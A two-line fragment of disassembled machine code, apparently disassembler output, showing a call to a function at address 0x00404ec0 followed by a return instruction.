call fcn.00404ec0
ret